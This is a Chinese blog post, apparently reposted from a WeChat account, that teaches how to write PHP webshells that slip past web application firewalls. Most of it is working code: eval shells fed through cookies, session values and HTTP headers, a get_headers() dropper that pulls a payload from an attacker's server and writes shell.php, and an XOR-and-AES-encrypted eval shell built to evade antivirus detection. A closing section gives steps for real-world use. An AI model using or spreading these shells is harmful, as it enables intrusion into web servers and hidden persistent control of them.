前言:
前几天写了一篇文章,由黑到白 这篇文章中用到echo的一个特性去一步一步写马看师傅们的评论然后去研究了下原因 学到了很多
比如linux写shell少了
_POST 空格以及$这些字符都写不进去
正文
原理的话:
个人理解的话感觉跟中转马有点像 这是这个可以突破的限制条件更多。
1.代码层次过滤了post以及get
这种绕过蛮简单的 直接把参数去session
或者cookie中或者headers中即可绕过了
#cookie传参
<?php
eval(base64_decode($_COOKIE["PHPSESSID"]));
?>
#session传参
<?php
eval($_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]));
?>
2.代码层过滤了$ _ POST GET内容
思路方法1
利用getallheadrs去绕过
适用于php版本大于5.5以上的
<?php
session_start();
eval(getallheaders()['Demo']);
?>
5.5以下的好像不存在这个函数5.5以上的
思路方法2
利用get_headers 服务器内容如下
(后面的base64里面的可变成想要的如冰蝎的base64加密也可)
<?php
header('assert');
header("file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7ID8+'))");
马内容如下 适用于7.1以下
这个用的assert 如果要高版本适用的话直接指定eval和assert即可
<?php
$a=get_headers('http://服务器地址/1.php');
$b=str_replace([':',' '],"",$a[6]);
$x=str_replace([':',' '],"",$a[7]);
$b($x);
?>
<?php
$a=get_headers('http://服务器地址/1.php');
$x=str_replace([':',' '],"",$a[7]);
eval($x);
?>
然后访问3.php即可成功创建shell.phpd盾查杀效果1
这里没做免杀 想做静动态的免杀的话 其实也是可以的稍微改下即可
可以结合这个加密算法改进下即可
动态即可过
给大家抛砖引玉扔一个加密算法+shellcode静态免杀的
动态可过60跟这个改即可
这个是加密算法a.php
<?php
$key1 = '123456';
$key = "password";
$fun = $_GET['func'];
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
echo $fun;
$encrypt = openssl_encrypt($fun, 'AES-128-ECB', $key1, 0);
echo "加密后: ".$encrypt;
?>
这个是shellcode的 shell.php
<?php
function b(){
$x = "password";
$key1 = '123456';
$fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key1, 0);
for($i=0;$i<strlen($fun);$i++){
$z= $fun[$i] ;
$fun[$i] =$z^$x[$i+1&7];
}
return $fun;
}
function a(){
eval(b());
}
a();
实战
结合追加的思路来组合打
一步一步写内容进去即可完成了
多次追加把内容写进去后
然后进行访问即获取到shell了
原文始发于微信公众号(goddemon的小屋):PHP利用某些函数bypass waf探讨
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论